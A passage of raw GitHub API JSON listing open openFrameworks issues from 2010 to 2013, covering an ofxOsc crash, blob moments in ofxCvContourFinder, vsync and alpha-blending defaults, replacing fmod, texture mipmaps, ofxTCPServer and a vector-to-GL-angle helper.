ttps://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"milestone":null,"comments":11,"created_at":"2010-08-26T10:21:24Z","updated_at":"2012-07-17T07:40:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"can this be useful?\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4500\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/214","id":268332,"number":214,"title":"ofxOsc memory access violation. namespace issue?","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2010-08-04T05:59:22Z","updated_at":"2011-10-17T13:58:53Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofxOsc causes a memory access violation in VS2008, when you use sendMessage(ofxOscMessage) from within a class.\r\nNo error when you run that from main ofApp"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/181","id":171615,"number":181,"title":"ofxCvBlobs","user":{"login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2010-04-14T15:42:22Z","updated_at":"2010-04-14T15:48:19Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"can we add moments to the blob. \n\nadd CvMoments moments to blob class\n\nand in ofxCvContourFinder.cpp line 119\n\n\t blobs[i].moments.m00 = myMoments->m00;\n\t\tblobs[i].moments.m10 = myMoments->m10;\n\t\tblobs[i].moments.m01 = myMoments->m01;\n\t\tblobs[i].moments.m20 = myMoments->m20;\n\t\tblobs[i].moments.m11 = myMoments->m11;\n\t\tblobs[i].moments.m02 = myMoments->m02;\n\t\tblobs[i].moments.m30 = myMoments->m30;\n\t\tblobs[i].moments.m21 = myMoments->m21;\n\t\tblobs[i].moments.m12 = myMoments->m12;\n\t\tblobs[i].moments.m03 = myMoments->m03;\n\t\t\n\t\tblobs[i].moments.mu20 = myMoments->mu20;\n\t\tblobs[i].moments.mu11 = myMoments->mu11;\n\t\tblobs[i].moments.mu02 = myMoments->mu02;\n\t\tblobs[i].moments.mu30 = myMoments->mu30;\n\t\tblobs[i].moments.mu21 = myMoments->mu21;\n\t\tblobs[i].moments.mu12 = myMoments->mu12;\n\t\tblobs[i].moments.mu03 = myMoments->mu03;\n\n\nthis is good for finding the angle and other info about the contour.\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/174","id":166212,"number":174,"title":"vertical sync on for mac by default","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":1,"created_at":"2010-04-06T19:43:21Z","updated_at":"2013-02-11T12:16:28Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/173","id":166211,"number":173,"title":"ofAlphaBlending default on","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":3,"created_at":"2010-04-06T19:42:34Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/172","id":166209,"number":172,"title":"rgb + alpha -> blit to texture","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":2,"created_at":"2010-04-06T19:40:28Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":" the idea is to be able to easily combine a rgb and alpha image into a rgba texture or ofImage. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/167","id":165898,"number":167,"title":"replace fmod","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2010-04-06T12:13:31Z","updated_at":"2012-03-03T19:40:33Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"can we do it?\r\nwe need cross platform:\r\nplayback \r\nstreaming\r\npitch\r\npan \r\nmultiplay \r\n\r\nfor us to be compatible with what exists. \r\nOpenAL seems like the best choice.\r\nWhat other options are there?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/140","id":163959,"number":140,"title":"texture compression and mipmaps for of texture","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":4,"created_at":"2010-04-02T19:43:00Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/128","id":132671,"number":128,"title":"ofxTCPServer doesn't manage connected clients correcly","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2010-02-14T09:40:13Z","updated_at":"2012-03-12T16:15:52Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/126","id":132377,"number":126,"title":"ofATan2GL / ofVecToGL ?","user":{"login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","html_url":"https://github.com/openframeworks","followers_url":"https://api.github.com/users/openframeworks/followers","following_url":"https://api.github.com/users/openframeworks/following","gists_url":"https://api.github.com/users/openframeworks/gists{/gist_id}","starred_url":"https://api.github.com/users/openframeworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/openframeworks/subscriptions","organizations_url":"https://api.github.com/users/openframeworks/orgs","repos_url":"https://api.github.com/users/openframeworks/repos","events_url":"https://api.github.com/users/openframeworks/events{/privacy}","received_events_url":"https://api.github.com/users/openframeworks/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2010-02-13T14:22:51Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up 